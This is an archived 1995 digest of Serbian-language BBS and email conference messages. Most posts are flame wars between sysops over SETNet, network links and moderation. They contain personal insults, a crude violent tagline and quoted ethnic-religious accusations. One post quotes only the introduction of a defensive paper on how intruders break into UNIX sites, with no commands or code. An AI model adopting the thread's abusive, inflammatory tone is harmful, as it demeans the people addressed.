From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: Rusenje BBLink-a
Date: Sat, 19 Aug 1995 03:04:06
Origin.SUBJ: Rusenje BBLink-a
Origin.FROM: Predrag Supurovic
Origin.TO : Sloba Markovic
SM> poruku iz NET.SYSOPS potpisanu sa "Predrag Supurovic sr." u
SM> kojoj on naredjuje svima onima koji su u dve mreze (SETnet i
PS> I ja bih voleo to da vidim.. doduse, nije tesko da neko sedne i
PS> caskom sroci tu "moju" poruku.
Jos cu da ispadnem lazov i falsifikator! Nije te sramota? >:((
Kao sto rekoh: Chvaky sa Sensible BBS-a moze da potvrdi da je
postojala takva poruka (ako ima balls). Takodje i Nenad
Radosavljevic. Mali Boris sa Atlantisa bi takodje mogao da kaze
nesto o svom (ili bolje reci tvom) razlogu za napustanje BBL-a.
Anyway, i ti i ja znamo da je takva poruka postojala.
U svakom slucaju - dok se ne naucis pristojnom ponasanju, nemam
nameru da se prepirem sa tobom:
MAIL> Command: Search <Broker>
MAIL> REPORTING: <BROKER> FOUND!
MAIL> Command: Ignore Wimp!
MAIL> STATUS: WIMP IGNORED!
Pozdrav,
+ ,
O:)-|--< MAGIC FLASH!
+ '
... Moja mala pobacila klinju kad je jutros sama klala svinju!
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1626postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: SETNet i ja
Date: Sat, 19 Aug 1995 03:04:07
Origin.SUBJ: SETNet i ja
Origin.FROM: Aleksandar Markovic
Origin.TO : All
AM> Za saradnjom izmedju FREEneta i BCa nema potrebe, jer oni prenose
AM> YUInt konferencije, a kod nas ima dosta YUInt konferencija.
AM> Pored nasih konferencija imamo i 30tak Internet konferencija.
A sta bi sa razmenom VASIH specificnih i BC specificnih
konferencija?
Pozdrav,
+ ,
O:)-|--< MAGIC FLASH!
+ '
... RAT JE MIR, SLOBODA JE ROPSTVO, NEZNANJE JE MOC (1984)
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1627postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: Svet i Internet
Date: Sat, 19 Aug 1995 03:04:08
Origin.SUBJ: Svet i Internet
Origin.FROM: Predrag Supurovic
Origin.TO : All
PS> Evo primera sta se u svetu misli o UseNet-u i moderisanju
PS> konferencija.
PS> "...All of the echomail networks which offer well-hosted (or
PS> DO represent a "civilized" alternative to the
PS> anarchy/flaming/noise found in quite a number of UseNet newsgroup
PS> messages..."
Prvo: Svako ima pravo na svoje misljenje.
Drugo: Niko nikoga ne tera da prati USENET konferencije.
Naravno, sasvim je treca stvar to sto izvesni autor poruke koja
je citirana, nije u zivotu video ni "U" od USENET-a...
+ ,
O:)-|--< MAGIC FLASH!
+ '
... Hello, I am Intel 80585.87967 CPU!
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1628postmast,
From: alenin@setnet.co.yu (Aleksandar Ninkovic)
Subject: Cut.religion
Date: Sat, 19 Aug 1995 23:21:00
> PRVO, hoces li se vec jednom smiriti? Prekini da penish!
Slobo, dete, ti si jedini koji penish uovoj konferenciji.
> CETVRTO, nije lepo da govoris u tudje ime, a pogotovo ne u
>ime korisnika na mrezi, koji se jednom reci nisu bunili za
>ponasanje
I ne govorim sad, samo kad jasno stavim do znanja da to radim kao
administrator jednog dela mreze. A to sto korisnici nista ne govore....zato
sto im se vise smucilo da citaju tvoje lazi i nase odbrane.
> 'Ajd u zdravlje i pamet u glavu, ako odgovaras...
Neko mora kad ti neces.
* Origin: SETNet:INFOSYS BBS * BBS u ilegali ;> * (38:103/114)
email.1629postmast,
From: alenin@setnet.co.yu (Aleksandar Ninkovic)
Subject: Cut.religion
Date: Sat, 19 Aug 1995 23:23:00
> Mala ispravka, poruka je glasila (parafrazirano): 'USTASE
>su
> koljaci, vidite sta su uradili u NDH u WW2 uz precutnu
:)))) Lose si je parafrazirao, upravo kako je Voja to i napisao.
* Origin: SETNet:INFOSYS BBS * BBS u ilegali ;> * (38:103/114)
email.1630postmast,
From: alenin@setnet.co.yu (Aleksandar Ninkovic)
Subject: Rusenje BBLink-a
Date: Sat, 19 Aug 1995 23:27:00
> Chvaky sa Sensible BBS-a moze da potvrdi da je takva
>poruka
> postojala (ako ima balls). Takodje se mozete obratiti i
>Nenadu
Sto se tice BBlinka, tu smo napravili faul i to stoji, i to je bilo tada i
nikad vise. Pustili smo da se poveze ko skim hoce. Sto se Proneta tice tu je
stvar bila savim druge prirode i tu je SET bio cak i malkoizigran, jer smo i
davaliprograme i pomagali za konfigurisanje da bi na kraju ispalo da od
poceyta nije ni postojala zelja da se povezemo. Mi smo cak nudili i nase
kanale za razmenu poruka PRONeta sto su kolege iz proneta odbili, ali smo
kasnije napravili lepu saradnju povezavsi neke od nasih konferencija i
privatnu postu, prvi put u jugi izmedju dve amaterske mreze.
* Origin: SETNet:INFOSYS BBS * BBS u ilegali ;> * (38:103/114)
email.1631postmast,
From: anubis@hobbiton.CO.YU (Igor Loncarevic)
Subject: Re: Ko razume - bice mu jasno... 1/7
Date: Sun, 20 Aug 1995 02:47:14 GMT
Da nisi malo pobrkao loncice sa satan book-om?
Vladap (vladap@durlan.co.yu) wrote:
: QWK To: All
: Ko ---ovo-- razume - bice mu jasno....
: Introduction
: ------------
: Every day, all over the world, computer networks and hosts are being
: broken into. The level of sophistication of these attacks varies
: widely; while it is generally believed that most break-ins succeed due
: to weak passwords, there are still a large number of intrusions that use
: more advanced techniques to break in. Less is known about the latter
: types of break-ins, because by their very nature they are much harder to
: detect.
: -----
: CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
: Purdue. Sun. You name it, we've seen it broken into. Anything that is
: on the Internet (and many that isn't) seems to be fairly easy game. Are
: these targets unusual? What happened?
: Fade to...
: A young boy, with greasy blonde hair, sitting in a dark room. The room
: is illuminated only by the luminescense of the C64's 40 character
: screen. Taking another long drag from his Benson and Hedges cigarette,
: the weary system cracker telnets to the next faceless ".mil" site on his
: hit list. "guest -- guest", "root -- root", and "system -- manager" all
: fail. No matter. He has all night... he pencils the host off of his
: list, and tiredly types in the next potential victim...
: This seems to be the popular image of a system cracker. Young,
: inexperienced, and possessing vast quantities of time to waste, to get
: into just one more system. However, there is a far more dangerous type
: of system cracker out there. One who knows the ins and outs of the
: latest security auditing and cracking tools, who can modify them for
: specific attacks, and who can write his/her own programs. One who not
: only reads about the latest security holes, but also personally
: discovers bugs and vulnerabilities. A deadly creature that can both
: strike poisonously and hide its tracks without a whisper or hint of a
: trail. The uebercracker is here.
: -----
: Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
: uebermensch, or, literally translated into English, "over man."
: Nietzsche used the term not to refer to a comic book superman, but
: instead a man who had gone beyond the incompetence, pettiness, and
: weakness of the everyday man. The uebercracker is therefore the system
: cracker who has gone beyond simple cookbook methods of breaking into
: systems. An uebercracker is not usually motivated to perform random
: acts of violence. Targets are not arbitrary -- there is a purpose,
: whether it be personal monetary gain, a hit and run raid for
: information, or a challenge to strike a major or prestigious site or
: net.personality. An uebercracker is hard to detect, harder to stop, and
: hardest to keep out of your site for good.
: Overview
: --------
: In this paper we will take an unusual approach to system security.
: Instead of merely saying that something is a problem, we will look
: through the eyes of a potential intruder, and show _why_ it is one. We
: will illustrate that even seemingly harmless network services can become
: valuable tools in the search for weak points of a system, even when
: these services are operating exactly as they are intended to.
: In an effort to shed some light on how more advanced intrusions occur,
: this paper outlines various mechanisms that crackers have actually used
: to obtain access to systems and, in addition, some techniques we either
: suspect intruders of using, or that we have used ourselves in tests or
: in friendly/authorized environments.
: Our motivation for writing this paper is that system administrators are
: often unaware of the dangers presented by anything beyond the most
: trivial attacks. While it is widely known that the proper level of
: protection depends on what has to be protected, many sites appear to
: lack the resources to assess what level of host and network security is
: adequate. By showing what intruders can do to gain access to a remote
: site, we are trying to help system administrators to make _informed_
: decisions on how to secure their site -- or not. We will limit the
: discussion to techniques that can give a remote intruder access to a
: (possibly non-interactive) shell process on a UNIX host. Once this is
: achieved, the details of obtaining root privilege are beyond the scope
: of this work -- we consider them too site-dependent and, in many cases,
: too trivial to merit much discussion.
: We want to stress that we will not merely run down a list of bugs or
: security holes -- there will always be new ones for a potential attacker
: to exploit. The purpose of this paper is to try to get the reader to
: look at her or his system in a new way -- one that will hopefully afford
: him or her the opportunity to _understand_ how their system can be
: compromised, and how.
: We would also like to reiterate to the reader that the purpose of this
: paper is to show you how to test the security of your own site, not how
: to break into other people's systems. The intrusion techniques we
: illustrate here will often leave traces in your system auditing logs --
: it might be constructive to examine them after trying some of these
: attacks out, to see what a real attack might look like. Certainly other
: sites and system administrators will take a very dim view of your
: activities if you decide to use their hosts for security testing without
: advance authorization; indeed, it is quite possible that legal action
: may be pursued against you if they perceive it as an attack.
: There are four main parts to the paper. The first part is the
: introduction and overview. The second part attempts to give the reader
: a feel for what it is like to be an intruder and how to go from knowing
: nothing about a system to compromising its security. This section goes
: over actual techniques to gain information and entrance and covers basic
: strategies such as exploiting trust and abusing improperly configured
: basic network services (ftp, mail, tftp, etc.) It also discusses
: slightly more advanced topics, such as NIS and NFS, as well as various
: common bugs and configuration problems that are somewhat more OS or
: system specific. Defensive strategies against each of the various
: attacks are also covered here.
: The third section deals with trust: how the security of one system
: depends on the integrity of other systems. Trust is the most complex
: subject in this paper, and for the sake of brevity we will limit the
: discussion to clients in disguise.
: The fourth section covers the basic steps that a system administrator
: may take to protect her or his system. Most of the methods presented
: here are merely common sense, but they are often ignored in practice --
: one of our goals is to show just how dangerous it can be to ignore basic
: security practices.
: Case studies, pointers to security-related information, and software are
: described in the appendices at the end of the paper.
: While exploring the methods and strategies discussed in this paper we we
: wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
: shell, perl, expect and C, it examines a remote host or set of hosts and
: gathers as much information as possible by remotely probing NIS, finger,
: NFS, ftp and tftp, rexd, and other services. This information includes
: the presence of various network information services as well as
: potential security flaws -- usually in the form of incorrectly setup or
: configured network services, well-known bugs in system or network
: utilities, or poor or ignorant policy decisions. It then can either
: report on this data or use an expert system to further investigate any
: potential security problems. While SATAN doesn't use all of the methods
: that we discuss in the paper, it has succeeded with ominous regularity
: in finding serious holes in the security of Internet sites. It will be
: posted and made available via anonymous ftp when completed; Appendix A
: covers its salient features.
: Note that it isn't possible to cover all possible methods of breaking
: into systems in a single paper. Indeed, we won't cover two of the most
: effective methods of breaking into hosts: social engineering and
: password cracking. The latter method is so effective, however, that
: several of the strategies presented here are geared towards acquiring
: password files. In addition, while windowing systems (X, OpenWindows,
: etc.) can provide a fertile ground for exploitation, we simply don't
: know many methods that are used to break into remote systems. Many
: system crackers use non-bitmapped terminals which can prevent them from
: using some of the more interesting methods to exploit windowing systems
: effectively (although being able to monitor the victim's keyboard is
: often sufficient to capture passwords). Finally, while worms, viruses,
: trojan horses, and other malware are very interesting, they are not
: common (on UNIX systems) and probably will use similar techniques to the
: ones we describe in this paper as individual parts to their attack
: strategy.
: -----[ Nastavak u sledecoj poruci... ] --------
:
--
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anubis@hobbiton.CO.YU
email.1632postmast,
From: alekm@sunrise.hobbiton.CO.YU (Aleksandar Markovic)
Subject: Re: SETNet i ja
Date: Sun, 20 Aug 1995 03:00:42 GMT
Sloba Markovic (Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu) wrote:
> Origin.SUBJ: SETNet i ja
> Origin.FROM: Aleksandar Markovic
> Origin.TO : All
> AM> Za saradnjom izmedju FREEneta i BCa nema potrebe, jer oni prenose
> AM> YUInt konferencije, a kod nas ima dosta YUInt konferencija.
> AM> Pored nasih konferencija imamo i 30tak Internet konferencija.
> A sta bi sa razmenom VASIH specificnih i BC specificnih
> konferencija?
Cuo sam se za whellinom i izgleda da cemo uskoro preuzeti neke njihove
konferencije, koje smo mi vec planirali da napravimo, ali ih ima na jednom
sistemu koji upravo ulazi u BC.
email.1633postmast,
From: alekm@sunrise.hobbiton.CO.YU (Aleksandar Markovic)
Subject: Re: Cut.religion
Date: Sun, 20 Aug 1995 03:04:45 GMT
Vojislav Mihailovic (vojam@setnet.co.yu) wrote:
> Kako mozes tako nesto da kazes?
> Bilo je i poruka tipa 'Katolici su koljaci, vidite sta su uradili u Bosni u II
> svetskom ratu', onda 'Vi koji verujete u Boga ste glupi', onda 'Sta piskarate
> tu hriscansku teoriju kad je to glupost u koju niko ne veruje' i sve tako.
> Da sam ja bio taj odredjeni 'organ' zapenio bih jos mnogo vise.
Na kakvom ste putu moze se desiti da ova moja poruka bude shvacena
kao uvredjiva za sve hriscane, muslimane, i uopste za sve vernike u
koje ja ne spadam?
email.1634supers,
Hteo bih da koristim internet klijente i interesuje me da li još
nešto treba da uradim osim da nabavim odgovarajuće programe...
Da li svaki nalog na ETF računarima podrazumeva SLIP ili PPP
ili to treba posebno da se traži?
email.1635zizic,
Pitanje za moderatora konferencije KOMUNIKACIJE: kakve su šanse da se utiče na
ovu ekipu sa BBS-ova da smanje doživljaj (žao mi je da dam ignore na svakog
postmastera, ali ako se ovako nastavi ne vidm drugo rešenje).
Poruka za Lončarevića zvanog Anubis: mašala, junačino, quotiraš 9 Kb (!!!!!)
teksta zbog komentara od 1 reda i to nesuvislog.
Najbolje rešenje (bar na Sezamu) bi bilo da neko odgovoran (moderator) malo
pročešlja poruke pa neku i obriše ... Dejane (ako si ti pozvan da odgovoriš na
ovo pitanje ?) - ima li šanse, zaista ???
email.1636vcalic,
-> #1635, zizic>> Pitanje za moderatora konferencije KOMUNIKACIJE: kakve su šanse da se
>> utiče na ovu ekipu sa BBS-ova da smanje doživljaj (žao mi je da dam ignore
>> na svakog postmastera, ali ako se ovako nastavi ne vidm drugo rešenje).
Uopšte, kultura komunikacija na tom YuInt-u je vrlo niska, tako da
conf ignore postmast uglavnom rešava sve probleme.
Vlada
email.1637aleck,
Prosto da se onespokojiš gde živiš...Sad sam ponovo gledao onaj
film sa Michael-om Duglas-om i Demie Moore u kome ona glumi šeficu
koja siluje(skoro;) )svog podređenog(kako se zove taj film...nikad
da uhavtim naslov...)...
Elem u filmu se sve dešava u kompjuterskoj kompaniji Digicom koja
ima totalno grafički e-mail sistem gde se poruka čita tako što se
nacrta pisamce koje se otvara i otkriva sadržaj poruke;a kako znaš
da li imaš mail ili ne?Vrlo prosto:na ekranu se vrti "metalizirano"
slovo e.Ma muka da te uhvati kad vidiš...
Najverovatnije da je sve to preterano u filmu,ali me interesuje
da li na nekim UNIX grafičkim stanicama ili već nečem tako postoji
nešto slično?Ili sam ja propustio početak rada Information Super-
highway-a?
p.s.A tek video conferensing koji imaju...Malesia<->Seattle!!Ma
prosto grozno!A ja sad zvao 98 puta Sezamov broj da bi radio na
2400bps...Jebo ti ovakvu državu!
email.1638aleck,
-> #1634, supers>&> Da li svaki nalog na ETF računarima podrazumeva SLIP ili PPP
>&> ili to treba posebno da se traži?
Ne podrazumeva uopšte.Kad bi to bilo,mi bi imali YUInt provider-a
na ETF-u.Možda bude uskoro(kako reče spantic),za sada ništa,barem
ne za nas koji nismo SysAdm,SysOp ili njihovi prijatelji.:)
email.1639dejanr,
-> #1635, zizic>> Najbolje rešenje (bar na Sezamu) bi bilo da neko odgovoran (moderator)
>> malo pročešlja poruke pa neku i obriše ...
Ako pogledaš videćeš da se poneka poruka i obriše, koja je sasvim zastranila
od teme. Međutim, većina poruka zadnjih dana se zaista odnosi na email sistem
u Jugoslaviji, odnosno razne mreže... tako da to ne bi bilo u redu brisati
(bar po mom mišljenju).
Najbolje bi bilo kada bi dva ili tri diskutanta na ovu temu prešla na privatnu
poštu, ali na to ih niko ne može naterati.
email.1640postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Demokratija & SETNet
Date: Fri, 18 Aug 1995 23:34:59
==== Whellin Almandar rece: ======================================
WA> From: whellin@almandar.herkules.co.yu (Whellin Almandar)
> Hm.. sumnjam da bi administratori FIDO i U'NI tek tako prihvatili
> ovakav odnos. Da bi dobijao njihovu postu MORAS da se slozis da
> postujes njihove Pravilnike, a samim tim postajes punopravan clan.
> Sto se njih tice, ti si clan mreze a ne razmenjujes postu sa njom.
> Jednostavno, obavezan si da se povinujes njihovim pravilima.
WA> Da pa je neko opet i pored striktne zabrane konvertovao QWK u Fido...
WA> Ti si osudjen na to da krshish pravila (kao i ja) seti se ko je i gde
WA> preinacavao poshtu U'NI net-a dok smo ga dobijali od Bulpac-a ? :))
Phiiiii. Pa dokle ce ljudi stalno da me opankavaju lazima?
a) ja nikad postu nisam konvertovao iz QWK u FIDO ili obrnuto
b) nikad nisam radio nista sto nije bilo u skladu sa pravilima
mreza koje sam imao na BBS-u
Ranije, posta je konvertovana na Bulpac BBS-u, koji je bio
host za Evropu. Koliko sam upucen, on je to radio uz odobrenje
administratora U'NI-net.
Sada, konverzija se radi na MEDI BBS-u, koji je host za istocnu
Evropu i opet to se radi uz znanje i odobrenje administratora
U'NI-net. U oba slucaja, to je radjeno pre nego sto sam se ja
uopste ukljucio.
Osim toga, mi nismo jedini koji U'NI-net dobijamo u FIDO formatu.
Upravo sami administratori U'NI-neta su nam u par navrata pomagali
savetima kako da se ta konverzija napravi kako treba, a zasnovano
na njihovim iskustvima sa drugima.
... BR> Pogubio sam tagove. Postenim nalazacima nagrada.
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* Origin: Oreska BBS, Uzice = SF BIBLIOTEKA = SETNet: (38:101/101)
email.1641postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: SETNet i ja
Date: Fri, 18 Aug 1995 23:35:00
DM> From: zdule@herkules.co.yu (Dusan Mihajlovic)
Zdule, LAZES CIM ZINES!
DM> Stvarno, mi smo na pocetku lepo hteli da saradjujemo i kao kolege
DM> smo pitali za strukturu msg-a, whellin je nazvao alenina i lepo ga
Da, kao kelaga si pljuvao po SETNet-u u ovoj istoj konferenciji i
istovremeno od mene trazio da ti kolegijalno pomognem informacijama.
Sorry, dobio si isti oblik kolegijalnosti koji si i ponudio.
DM> pitao ovaj je cak hteo ceo program za konvertovanje da mu da ali
DM> naravno ako se broker slozi i naravno tu je broker dobio srcku i digao
DM> frku kako nama treba struktura msg-a da bi setnet-u stali ukraj tj. da
DM> mi to sve sa glavnim ciljom rusenja setnet-a. Posle toga naravno svi
DM> vidovi bilo kakve saradnje sa setnet-om su otpali.
Sad prvi put cujem da ste to uopste trazili od alenina.
Pitaj dejana da li je slucajno snimio nas telefonski razgovor, jer bih
bas voleo da cujem sebe kako govorim da vam ne dam podatke jer hocete
da rusite setnet itd.. Ja sam Dejanu rekao da cu mu dati sve podatke
koji mu trebaju. U drugom razgovoru, rekao je da mu to u stvari treba
da bi dao tebi i ja sam mu jasno i glasno rekao da ih onda nece dobiti
jer nemam nameru da ti ikako pomazem, posle svega sta si bio u stanju
da lazes o setnetu i meni.
DM> BTW ko malo pogleda u nazad primetice da je setnet-a sa sve brokerom
DM> ispao iz jednog komunistickog rezima naviknutog na monopolizam u svim
DM> oblicima, i da (kao i sps) od tada nije nista promenio a tvrdi da je
DM> naprasno postao demokratski...
:)))) Kad ne mozes da nam doskocis svojim kvalitetom, onda nas optuzuj
da smo monopolisti. Sta to drzimo u monopolu? Modeme? Racunare?
Telefonske linije? Korisnike? Mozda imamo kopirajt na formiranje
mreza pa nikom drugom ne dozvoljavamo da pravi svoje?
Idi begaj... Mi imamo samo ono sto smo sami nabavili ili napravili.
Ti to ne umes pa onda hoces sve na gotovo. E vidis ne mozes i da
pljujes po nama i da od nas dobijas sve sto zelis. Ako se pozivas
na kolegijalnost prvo sam treba da se ponasas kolegijalno.
I na kraju, naravno, ovo je sve licno izmedju nas dvojice i nema
potrebe da tu mesas SETNet.
Zanimljivo: kako ljudi lako zaborave i hiljadu 'Da' prvi put kad im
kazes 'Ne'...
... We are all deaths on vacation.
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* Origin: Oreska BBS, Uzice = SF BIBLIOTEKA = SETNet: (38:101/101)
email.1642postmast,
From: Zoran.Doroslovac@p1.f0.n111.z38.setnet.setnet.co.yu (Zoran Doroslovac)
Subject: Ostale mreze i SETNet
Date: Fri, 18 Aug 1995 12:36:40
PS>Dosta je bilo insinuacija. Evo i Damir se javio i rekao da je postu
PS>sa Panonom prestao da razmenjuje zato sto mu je to nabijalo telefonski
PS>racun koji ne moze da priusti. To je jedini razlog.
Odlicno, sve si procitao u njegovoj poruci.
PS>Ja bih se zapitao, kako je neki BBS kao sto je Panon mogao uopste
PS>da dozvoli da Damir snosi telefonske troskove togh povezivanja.
PS>Damir drzi nekomercijlan BBS, nenaplacuje pretplatu a Panon je
PS>komercijalan i od svojih korisnika naplacuje usluge.
Da si se zapitao cuo bi razlog, a to je da On moze da zove kad hoce a ja
mogu da zovem kad mu bbs radi. Da si se jos zapitao cuo bi da sam
predlozio i rekao da nije problem u placanju tel. (mogu da snosim
troskove) vec u ne mogucnosti da biram vreme kad cu zvati. Moje poimanje
razmene ukljucuje razmenu najmanje jedanput dnevno a ako mogu da doprem
i vise puta.
PS>Izgleda da su pare ipak najveci problem. Slicno je bilo ranije i
PS>sa Rhinocerosom, dok Panon jos nije postojao. Tamo se ozbiljnije
PS>pocelo razmisljati o povezivanju u SETNet tek kada sam ponudio da
PS>ja zovem Rhinoceros i da razmena ide o mom trosku. Sa Damirom se
PS>desilo isto.
Dobro da si mi to objasnio. Mogao sam da umrem u neznanju. Uvek je dobro
cuti kad neko zna da ti objasni kako si pao, mozda drugi put ne uradis
isto. Ti mora da zivis na sto mesta odjednom kad sve znas.
Vidis zbog ovakvih poruka sam rekao da ce SetNet nazadovati ili
stagnirati dok ti imas glavnu rec. Ko stobom moze ovako da saradjuje. Ne
trazim javan odgovor.
■ OLX 2.1 TD ■ hAS ANYONE SEEN MY cAPSLOCK KEY?
* Origin: MYSTERY BBS * 021 715-913 24h * Novi Sad * SETNet: (38:111/0.1)
email.1643postmast,
From: vojam@setnet.co.yu (Vojislav Mihailovic)
Subject: Ostale mreze i SETNet
Date: Sat, 19 Aug 1995 16:00:05
* U poruci za Milos Petrovic, Miljan S. Mirovic kaze:
MM> Ne, nisam se nasao na brokerovoj strani. Ali ipak moram da pitam da li
MM> ti mislis da je najvaznija stvar povecati pretplatu. Iz tvoje poruke
MM> (procitaj je jos jednom ali pazljivo) mogu da zakljucim da ti dovlacis
MM> stvari zato da bi povecao pretplatu, ne povecavas pretplatu da bi dovlacio
MM> stvari. Razlika je jasna, a ti si rekao upravo: "i tako ces dobiti nesto
MM> sto niko nema i moci ces da povecas preplatu i...".
MM> Lose...
Lose, doduse, za korisnike, a dobro (ukoliko upali) za njega ;>>
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1644postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Svet i Internet
Date: Sat, 19 Aug 1995 17:52:45
==== Sloba Markovic rece: ======================================
PS> "...All of the echomail networks which offer well-hosted (or
PS> DO represent a "civilized" alternative to the
PS> anarchy/flaming/noise found in quite a number of UseNet newsgroup
PS> messages..."
SM> Naravno, sasvim je treca stvar to sto izvesni autor poruke koja
SM> je citirana, nije u zivotu video ni "U" od USENET-a...
A sta ako autor na sopstvenom BBS-u ima i USENET?
... BR> Pamet se ne sabira nego mnozi.
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* Origin: Oreska BBS, Uzice = SF BIBLIOTEKA = SETNet: (38:101/101)
email.1645postmast,
From: dragisha@hobbiton.CO.YU (Dragisa N. Duric)
Subject: Re: SETNet i ja
Date: Sun, 20 Aug 1995 19:28:27 GMT
Predrag Supurovic (broker@setnet.co.yu) wrote:
-> DM> From: zdule@herkules.co.yu (Dusan Mihajlovic)
-> Zdule, LAZES CIM ZINES!
Recite mi jel' ovaj nivo ono sto regulise Pravilnik?
email.1646fancy,
-> #1636, vcalicŮŢ> conf ignore postmast uglavnom rešava sve probleme.
Ma zar neko još čita postmast-a u konferencijama..?!?!
email.1647superhik,
-> #1631, postmast=:> Da nisi malo pobrkao loncice sa satan book-om?
.....
Hvala ti što si celu poruku ponovio... ;((((
email.1648babbage,
-> #1635, zizic
>=>> Pitanje za moderatora konferencije KOMUNIKACIJE: kakve su šanse
>=>> da se utiče na ovu ekipu sa BBS-ova da smanje doživljaj (žao mi
>=>> je da dam ignore na svakog postmastera, ali ako se ovako nastavi
>=>> ne vidm drugo rešenje).
Od postmastera stiže dosta zanimljivih poruka, pogotovo u
conf. PC.HARD (cccc), i meni je takođe žao da dam ignore na
postmastera, ali ako ovo ne prestane...
Brokeru, ovakve diskusije su upravo ono što ja zameram SetNetu,
i razlog zašto ne zovem vaše BBSove. Sa jedne strane imaš ljude
koji koriste dosta polu-argumenata, a sa druge one koji ne pri-
znaju ni kada ovi prvi kažu neki pravi argument. Stvarno tužno...
Babbage
email.1649spantic,
-> #1611, postmast> From: broker@setnet.co.yu (Predrag Supurovic)
> Xe xe, dobar naslov. Zamalo da bude bajka, sve je izmisljeno, samo
> sto fali srecan kraj. :)))
Ne pratim nešto mnogo pažljivo vaše pljuvanje preko mreže,
ali ako je reč o Bnetu, on je zaista bio prva mreža BBS-ova
kod nas, pored Adria-neta.
email.1650vlad,
-> #1646, fancy> ŮŢ> conf ignore postmast uglavnom rešava sve probleme.
>
> Ma zar neko još čita postmast-a u konferencijama..?!?!
Ja sam citao do skora, sve dok se nisam uverio da kolicina
korisnih informacija u tim porukama konstantno tezi nuli B(.
Zao mi je sto sam tako eliminisao i ono malo pametnih ljudi koji
imaju sta da kazu, ali se oni od suma i onako prakticno ne vide.
email.1651postmast,
From: alekm@sunrise.hobbiton.CO.YU (Aleksandar Markovic)
Subject: Re: SETNet i ja
Date: Mon, 21 Aug 1995 00:25:16 GMT
Dragisa N. Duric (dragisha@hobbiton.CO.YU) wrote:
> Predrag Supurovic (broker@setnet.co.yu) wrote:
> -> DM> From: zdule@herkules.co.yu (Dusan Mihajlovic)
> -> Zdule, LAZES CIM ZINES!
> Recite mi jel' ovaj nivo ono sto regulise Pravilnik?
Tuzno, ali istinito. Toliko polaganja na taj pravilnik i onda serif uradi
pogresnu stvar (ima jedna rec koja bi ovo slikovitije opisala). No normalno,
posto je on serif i ima svoje pomocnike, stvar ce se vec izgladiti.
email.1652supers,
-> #1638, aleck
Subj: Re: WWW & the rest
>> Ne podrazumeva uopšte.Kad bi to bilo,mi bi imali YUInt provider-a
>> na ETF-u.Možda bude uskoro(kako reče spantic),za sada ništa,barem
>> ne za nas koji nismo SysAdm,SysOp ili njihovi prijatelji.:)
žemu onda silni tekstovi u Računarima, PC-u? Radi razmene iskustava
među Sysopima? Da li uopšte postoji mašina koja nudi ove servise
običnim korisnicima?
email.1653ppekovic,
-> #1637, aleck>> Najverovatnije da je sve to preterano u filmu,ali me
>> interesuje da li na nekim UNIX grafičkim stanicama ili već
>> nečem tako postoji nešto slično?Ili sam ja propustio početak
>> rada Information Super- highway-a?
Uglavnom za sva poznatija grafička okruženja (Windows, OS/2, ...)
imaš gomilu mailer-a. Na tom polju nema bog zna šta da se novo izmisli
pa nove verzije donose uglavnom našminkane prethodne, detaljima
sličnim onima koje si video na filmu. Uz to, skoro svi ti mailer-i
podržavaju tzv. MIME extensions koje dozvoljavaju pored teksta slanje
i slika, zvuka, animacija, programa, itd. itd.
>> p.s.A tek video conferensing koji
>> imaju...Malesia<->Seattle!!Ma prosto grozno!A ja sad zvao 98
>> puta Sezamov broj da bi radio na 2400bps...Jebo ti ovakvu
>> državu!
TC je uz WWW i druge MultiMedia servise hit u svetu. TC komplete za
PC možeš da kupiš za relativno male pare. Internet priključak je
takođe relativno jednostavno dobiti. Međutim, skoro sam čitao članak u
novinama koje se zovu Network News ili tako nešto gde jedan gospodin
objašnjava da postojeći komunikacioni kanali nisu još spremni za
Network MultiMediju i da se plaši da će u narednim godinama mrežna
infrastruktura konstantno kaskati za potrebama novih MM servisa.
U sve ovo, već mogu da se uvere svi oni koji su prethodnih meseci
ftp-ovali nešto po Internet-u. Brzina je drastično smanjena.
Paya
email.1654ppekovic,
-> #1652, supers>> žemu onda silni tekstovi u Računarima, PC-u? Radi razmene
>> iskustava među Sysopima? Da li uopšte postoji mašina koja nudi
>> ove servise običnim korisnicima?
Više puta je i ovde i u drugim temama bilo priče o tshost programu
koji omogućuje kroišćenje popularnih internet servisa (mail, news,
gopher, www, ...) koristeći običan korisnički nalog.
Paya
email.1655ikordic,
-> #1636, vcalicRE: Razmena konferencija
=> Uopšte, kultura komunikacija na tom YuInt-u je vrlo niska, tako da
=> conf ignore postmast uglavnom rešava sve probleme.
Mislim da je to preteran korak, ja bi se samo od ovih nesretnih SETNet-ovaca
rado oprostio, od ovih drugih, pretežno sa akademske mreže, imam štošta da
pročitam.
Kada bih samo mogao da kažem nešto kao "conf res *.setnet.co.yu", ihaaaj...
Onda samo moramo da trpimo one jezive kilometarske potpise, al' to i nije
tako strašno...
email.1656postmast,
From: orlovicd@eagle.durlan.co.yu (Dragan Orlovic)
Subject: Re: Rusenje BBLink-a
Date: Sun, 20 Aug 1995 13:05:00 CET
alenin@setnet.co.yu (Aleksandar Ninkovic) writes:
>> Chvaky sa Sensible BBS-a moze da potvrdi da je takva
>>poruka
>> postojala (ako ima balls). Takodje se mozete obratiti i
>>Nenadu
>
>Sto se tice BBlinka, tu smo napravili faul i to stoji, i to je bilo tada i
>nikad vise. Pustili smo da se poveze ko skim hoce. Sto se Proneta tice tu je
Alal vera !!!!!!!! Ko je sledeci na spisku za fauliranje?
Pozdrav, Orlovic
... JESUS SAVES, passes to Moses, he shoots, HE SCORES!
-----
orlovicd@eagle.durlan.co.yu (Dragan Orlovic)
EAGLE Communications d.o.o * Nis * YU
email.1657postmast,
From: zdule@herkules.co.yu (Dusan Mihajlovic)
